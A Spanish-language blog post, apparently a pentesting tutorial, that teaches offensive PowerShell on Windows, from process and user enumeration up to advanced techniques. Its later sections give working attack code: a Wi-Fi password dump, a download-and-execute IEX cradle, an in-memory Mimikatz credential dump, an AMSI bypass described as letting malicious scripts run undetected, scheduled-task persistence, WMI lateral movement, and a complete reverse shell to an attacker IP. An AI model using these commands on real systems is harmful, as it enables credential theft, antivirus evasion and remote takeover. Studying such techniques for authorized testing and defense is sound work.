
Pentesting con PowerShell de Menor a Mayor
PowerShell se ha convertido en una herramienta imprescindible en las auditorías de seguridad y pentesting sobre sistemas Windows. Su potencia, integración con el sistema operativo y la capacidad de ejecutar scripts complejos lo convierten en un aliado ideal tanto para administradores como para atacantes. A continuación, veremos un recorrido progresivo: desde ejemplos sencillos hasta técnicas más sofisticadas.
Comandos y Reconocimiento
Enumeración de procesos
El primer paso en un pentest suele ser conocer qué se está ejecutando en el sistema.
Get-Process
Esto lista todos los procesos. Si queremos algo más filtrado:
Get-Process | Where-Object { $_.CPU -gt 100 }
Este comando mostrará procesos que consumen más de 100 unidades de CPU, útil para identificar procesos sospechosos.
Enumeración de servicios
Para listar todos los servicios y su estado:
Get-Service
Si buscas servicios concretos en ejecución:
Get-Service | Where-Object { $_.Status -eq 'Running' }
Información de red
Ver conexiones activas:
Get-NetTCPConnection
Un ejemplo con filtrado:
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' }
Nivel Intermedio: Enumeración Avanzada y Recolección de Credenciales
Recolectar información de usuarios
Para enumerar usuarios locales:
Get-LocalUser
Y para obtener grupos locales:
Get-LocalGroup
Ver miembros de un grupo específico (por ejemplo, Administradores):
Get-LocalGroupMember -Group 'Administrators'
Esto es muy útil en la fase de reconocimiento interno.
Extraer credenciales de redes Wi-Fi
En algunos entornos, los usuarios almacenan credenciales de Wi-Fi:
(netsh wlan show profiles) | Select-String "Perfil de todos los usuarios"
Luego, puedes extraer la contraseña de un perfil:
netsh wlan show profile name="NombrePerfil" key=clear
Descargar y ejecutar scripts de PowerShell remotamente
Una técnica intermedia consiste en aprovechar Invoke-Expression o IEX para traer y correr payloads desde Internet:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/script.ps1')
Este método es muy común en fases de post-explotación y carga de herramientas como PowerView o Empire.
Nivel Avanzado: Persistencia, Evasión y Post-Explotación
Creación de persistencia mediante tareas programadas
Para crear una tarea que se ejecute al iniciar sesión:
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-WindowStyle Hidden -Command "Start-Process notepad.exe"'
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "MiPersistencia" -Action $action -Trigger $trigger -Description "Ejecuta Notepad al inicio de sesión"
Obviamente, en un entorno real puedes reemplazar notepad.exe por tu payload.
Dump de credenciales con Mimikatz en PowerShell
Una técnica avanzada es invocar Mimikatz en memoria. Por ejemplo, con Invoke-Mimikatz del módulo PowerSploit:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'
Esto extrae las credenciales de sesiones activas sin escribir nada en disco.
Evasión de AMSI (Antimalware Scan Interface)
Si el entorno tiene AMSI activado, puedes deshabilitarlo temporalmente con:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Esto permite ejecutar scripts maliciosos sin ser bloqueados.
Nivel Experto: Movimiento Lateral y Control Remoto
Movimiento lateral con WMI
Para ejecutar un comando en otra máquina:
Invoke-WmiMethod -Class Win32_Process -ComputerName "nombre_maquina_remota" -Credential (Get-Credential) -Name Create -ArgumentList "powershell.exe -Command `"Start-Process notepad.exe`""
Si ya posees credenciales administrativas, esto te permite expandir tu acceso en la red.
Reverse Shell con PowerShell puro
Un ejemplo de reverse shell sencillo (PowerShell puro):
$client = New-Object System.Net.Sockets.TCPClient('IP_ATACANTE',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
Cuando tu listener (por ejemplo, nc -lvnp 4444) reciba la conexión, podrás ejecutar comandos remotamente.
Debajo les dejamos algunas recomendaciones en base a nuestra experiencia.
Segmenta tu pentest en fases: Reconocimiento, explotación, post-explotación y reporte.
Testea en un entorno controlado: Nunca ejecutes estos scripts en sistemas productivos sin autorización.
Utiliza logging y auditoría: Mantén un registro de todo lo que haces para tu informe final.
Automatiza tareas repetitivas: PowerShell permite crear scripts modulares para cada fase.
Mantente actualizado: Herramientas como PowerView, Empire y PowerSploit evolucionan constantemente.
El pentesting con PowerShell es una disciplina poderosa que exige conocimiento profundo tanto de Windows como de técnicas ofensivas. Desde enumerar procesos hasta evadir antivirus y moverte lateralmente, PowerShell ofrece todo un arsenal. Si estás empezando, te recomiendo practicar los ejemplos básicos antes de avanzar hacia técnicas más agresivas como la ejecución en memoria y la evasión de AMSI.
frenify: Thank you for your kind words! We’re glad you enjoyed the post. Stay tuned for more content – we’ve got plenty more coming your way.
frenify: I really enjoyed reading this. The content is informative, and the layout makes it so easy to follow. Looking forward to more posts like this! Keep up the great work!